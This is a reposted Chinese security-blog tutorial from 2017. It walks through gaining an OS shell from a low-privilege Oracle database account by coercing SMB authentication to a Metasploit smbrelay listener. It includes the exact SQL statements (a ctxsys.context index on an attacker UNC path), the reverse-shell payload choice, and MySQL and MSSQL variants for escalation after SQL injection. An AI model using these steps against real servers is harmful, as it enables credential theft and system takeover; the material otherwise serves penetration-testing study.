使用低权限 Oracle 数据库账户得到 OS 访问权限 's

admin 2017年5月2日17:54:36评论298 views字数 1379阅读4分35秒阅读模式
摘要

# 鬼仔:两个PDF下载
http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(Oracle%20database).pdf
http://54mickey.googlepages.com/Penetration_fromapplication_down_to_.pdf

# 鬼仔:两个PDF下载
http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(Oracle%20database).pdf
http://54mickey.googlepages.com/Penetration_fromapplication_down_to_.pdf

作者:Mickey

这几天看了篇叫”Penetration: from application down to OS (Oracle)”的文档,感觉挺有意思的,文档的 大概意思就是说,如果 ORACLE 服务是用 administrator 账户启动的,你只要有一个具有 resource 和 connect 权限的数据库账户,就能利用 metasploit 的 smbrelay 功能,本地搭建一个 SMB 欺骗服务器, 来得到系统的访问权限。我本地测试了下,还真的成功了。:-)

具体的原理分析看原文吧,我这里把我的测试过程写出来.

我的渗透环境用的是 ubuntu8.10+metasploit 3.3 dev,oracle 数据库版本为 10.2.0.1.0,服务启动权限为 administrator,数据库账户用的是 dbsnmp 账户的默认权限.

使用低权限 Oracle 数据库账户得到 OS 访问权限  's

1.先用 netstat 命令查看一下,本地的 139 端口有没有占用,一般占用此端口的服务就是 Samba 了,要关掉。ubuntu 的关闭方法是 sudo /etc/init.d/samba stop

使用低权限 Oracle 数据库账户得到 OS 访问权限  's

2.运行 metasploit,我选用的 PAYLOAD 是 shell_reverse_tcp,做好相应配置后,exploit.就能用 netstat 看到本地已经监听了 139 和 8522 端口了.

使用低权限 Oracle 数据库账户得到 OS 访问权限  's

使用低权限 Oracle 数据库账户得到 OS 访问权限  's

3.我现在使用 dbsnmp 默认账户连接到 oracle 数据库上,这个账户默认权限是比较低的,只有 connect和 resource 权限。

使用低权限 Oracle 数据库账户得到 OS 访问权限  's

4.然后执行下面 3 条 SQL 语句

SQL> CREATE TABLE files(id NUMBER PRIMARY KEY,path VARCHAR(255) UNIQUE,ot_format VARCHAR(6));

SQL> INSERT INTO files VALUES(1,’//192.168.1.52/mickey’,NULL);

SQL>   CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.context

2   PARAMETERS(‘datastore ctxsys.file_datastore format column ot_format’);

使用低权限 Oracle 数据库账户得到 OS 访问权限  's

当执行完 create index 这句的时候,在看咱们本地的 metasploit,就已经得到 ORACLE 数据库主机的系 统当前服务用户的 half lm 哈希和 cmdshell 了。

使用低权限 Oracle 数据库账户得到 OS 访问权限  's

使用低权限 Oracle 数据库账户得到 OS 访问权限  's

后来经过 pt007 的提醒,我又测试了 mysql,如果服务也是 administrator 启动的,用select load_file(‘////192.168.1.52/mk.txt’)也是可以得到系统权限的.MSSQL 应该用 xp_dirtree 存储过程 也是可以的,不过我没有配置出来用 administrator 账户启动 MSSQL 服务,希望知道的朋友指点下我。

这个技术可以用到内网 WEB 评估的时候,如果有注入,服务又是 administrator 启动的,可以提权了。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月2日17:54:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用低权限 Oracle 数据库账户得到 OS 访问权限 'shttps://cn-sec.com/archives/44767.html

发表评论

匿名网友 填写信息